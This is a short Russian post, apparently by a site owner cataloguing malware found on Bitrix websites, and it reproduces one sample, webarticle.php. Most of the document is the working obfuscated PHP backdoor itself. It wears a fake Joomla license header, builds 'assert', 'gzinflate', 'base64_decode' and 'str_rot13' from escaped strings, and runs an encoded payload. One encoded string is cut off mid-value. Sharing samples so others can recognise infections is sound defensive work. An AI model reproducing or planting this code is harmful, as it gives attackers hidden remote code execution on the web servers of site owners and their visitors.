Коллекция вирусов которые находил на своих сайтах на битриксе. webarticle.php

$iLdxy="1ScpCJxoYwbok6cTPdLbMNLdz3oYdG0lxs/e2B

/**
 * @version  14510 2014-04-15 14:10:00Z louis $
 * @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
 * @license  GNU/GPL, see LICENSE.php
 * This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 */

/**
 * @return array An array of search areas
 */
function ContentAreas()
{
 static $areas = array(
  'content' => 'NewsPost',
  'reader' => 'AllPost'
  );
 return $areas;
}

/**
 * Content Search method
 * The sql must return the following fields that are used in a common display
 * routine: href, title, section, created, text, browsernav
 * @param string Target search string
 * @param string mathcing option, exact|any|all
 * @param string ordering option, newest|oldest|popular|alpha|category
 * @param mixed An array if the search it to be restricted to areas, null if search all
 */
 
// Licensed protected code

$rTdKc="3hsSDqI1XzEd5IfycOU3yG8v2ZdAcdFleZSAl9glpc0TNV07IN+n46UAPsq7rspaGkZPhYOll7F9Po+snQIN/je/56O04dMhRhkT67O9Ma6tOL6IDfB0GfkUdMPUXbQ0x8UJlvfgfy32k8KWrmAgL9BHIuoFlWTxjOmwWvPJpvM9ruhVtQ0d27Qe3yI8wjuRE43rSpJUhQvpV/s5kBSXzy8oOEPKGR8T7WZKN3XZnmd2OA+5yY0Mm2pNJ9UHJ6kFFhrKzCJSIm3uXA8HiUfjtD/JjD+IIygGNmFVcVvG1qGIVqkIWhJPn35iYaYhJReW6dqeykY3FNpv3rIstBbEAS/2g3tEcDdNBpWNbkzTb1XOV2yDCJNO6pxdRNRfo2hqOSxUYGpk6zP2G3TMnPZ8SdbTkqAqMSpKkZaajpAY4GuKWVxE/2XWN5QNL6lPXOJBimgvOP4FWF68cmKOv7+zkRJSQkceymHg+lpjeKCq0aKHmmp5apkqlCNz8bsz9g1uOHWgTGYVQI0ZK9qoZWyWkxX0lGmMhzQ+6yoE7cIie9XBychJtBNWR3PGGCFnEFOyOPBHWiZa7BIaGzpZF6km5xsZeCBxOrTnENvp26xPhZ2jqmpYbKWiedilAVoi50kIv70rGBypuOvLEzU1jR9Vk8HYoc9/mS+J+5CuYYgZd+H1a3QGAoMkpq603BDUsmlqLRiFuklXy4HswqBJa9QeHDV2zML0hE0I4+7zx7Fz7V/Pc9zUuOK86N5hjxNZzrZikXDuOhNP6/J1e50DKxgF2dxLMUg4RhXTX/QTilsDidsYGDeNffSHrulgGwTL97oqdiUFxO7dHhbkutY5TGs64xQft57xBtumpzTciZKHvG054bh/MKc9nBgSAksZ8mF/WueilFvmgPA=";$TSJn27="\x61";$amUPL="\142\x61\x73";$EpmMlUS="\x67\x7a\x69";$OIQyYd="Fl1YmASDIlxXFsSBgyIWmN0A8ATN8QFgIEmY8k0qR22I";$cdwgGdi="\163\164";$EpmMlUS.="\156\146";$OIQyYd.="yXkI/Q0QXlAGoWJP/M0qX0hIeAClvmEHZw0QGYmPoD2f";$amUPL.="\x65\66\x34";$cdwgGdi.="\162\x5f\162";$TSJn27.="\163";$EpmMlUS.="\x6c\141";$amUPL.="\x5f\144\145\x63";$OIQyYd.="bFjoZjf4J1goR6csmmL5b0twiltSnaN0IRJfMukLRTV0";$cdwgGdi.="\157\164";$TSJn27.="\x73\145";$TSJn27.="\x72\x74";$OIQyYd.="GSGIYSMG09buSrDhSqrPKA+p0TNAdRyNPKIAnjN=";$cdwgGdi.="\61\x33";$EpmMlUS.="\164\145";$amUPL.="\x6f\x64\x65";@$TSJn27($EpmMlUS($amUPL($cdwgGdi($OIQyYd))));

Обычно встречается в следующих файлах:

1. ./webarticle.php